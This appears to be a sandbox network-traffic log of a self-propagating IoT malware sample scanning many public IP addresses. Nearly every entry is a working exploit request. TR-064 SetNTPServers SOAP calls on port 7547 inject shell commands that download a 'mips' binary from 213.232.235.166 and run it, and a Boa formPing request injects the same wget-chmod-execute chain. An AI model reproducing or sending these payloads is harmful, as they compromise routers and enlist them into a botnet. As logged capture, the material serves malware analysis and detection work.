62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
327	192.168.2.13	55880	123.207.242.110	23

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:41.276382923 CEST	171	IN	HTTP/1.0 200 OK Server: Proxy Data Raw: 0d 0a 0d 0a 0d 0a 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 38 31 2e 31 38 31 2e 35 34 2e 36 30 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 34 2d 30 34 2d 31 35 20 31 34 3a 35 32 3a 33 39 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 3f 3f 3f 3f 2e 0d 0a 0d 0a 0d 0a Data Ascii: Unauthorized ...IP Address: 81.181.54.60MAC Address: Server Time: 2024-04-15 14:52:39Auth Result: ????.

Session ID	Source IP	Source Port	Destination IP	Destination Port
328	192.168.2.13	42876	92.45.162.26	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:41.300556898 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
329	192.168.2.13	46334	186.152.208.111	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:41.312264919 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
330	192.168.2.13	42890	92.45.162.26	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:41.648521900 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
331	192.168.2.13	42346	142.129.49.50	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:41.813494921 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
332	192.168.2.13	49640	50.47.156.154	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:41.835427999 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
333	192.168.2.13	54320	71.73.121.175	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:41.878266096 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
334	192.168.2.13	58034	74.136.192.98	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:41.892843962 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:52:42.657111883 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
335	192.168.2.13	59224	14.77.48.238	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:41.923801899 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
336	192.168.2.13	42360	142.129.49.50	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:41.981100082 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
337	192.168.2.13	38618	168.149.18.147	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:42.014863968 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:52:43.905802011 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:52:46.176445961 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:52:50.784476995 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:52:59.744474888 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:53:17.664412022 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:53:54.528430939 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
338	192.168.2.13	49654	50.47.156.154	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:42.022519112 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
339	192.168.2.13	35230	5.201.131.17	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:42.070491076 CEST	690	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:52:42.509526968 CEST	133	IN	HTTP/1.1 401 Unauthorized Content-Length: 0 WWW-Authenticate: Digest realm="tr069", nonce="07280920", qop="auth", algorithm=MD5

Session ID	Source IP	Source Port	Destination IP	Destination Port
340	192.168.2.13	54334	71.73.121.175	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:42.102961063 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
341	192.168.2.13	59240	14.77.48.238	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:42.204802036 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
342	192.168.2.13	49638	213.151.53.131	1723

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:42.262511969 CEST	301	OUT	GET /boaform/admin/formPing?target_addr=%3Bcd%20%2Ftmp%3B%20wget%20http%3A%2F%2F213.232.235.166%2Fmips%3B%20chmod%20777%20mips%3B%20.%20%2Fmips%20netlink.selfrep%3B&waninf=1_INTERNET_R_VID_154$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Hello, World
Apr 15, 2024 08:52:44.096527100 CEST	301	OUT	GET /boaform/admin/formPing?target_addr=%3Bcd%20%2Ftmp%3B%20wget%20http%3A%2F%2F213.232.235.166%2Fmips%3B%20chmod%20777%20mips%3B%20.%20%2Fmips%20netlink.selfrep%3B&waninf=1_INTERNET_R_VID_154$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Hello, World

Session ID	Source IP	Source Port	Destination IP	Destination Port
343	192.168.2.13	38634	168.149.18.147	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:42.388045073 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:52:44.320457935 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:52:46.692471027 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:52:51.296446085 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:53:00.512485027 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
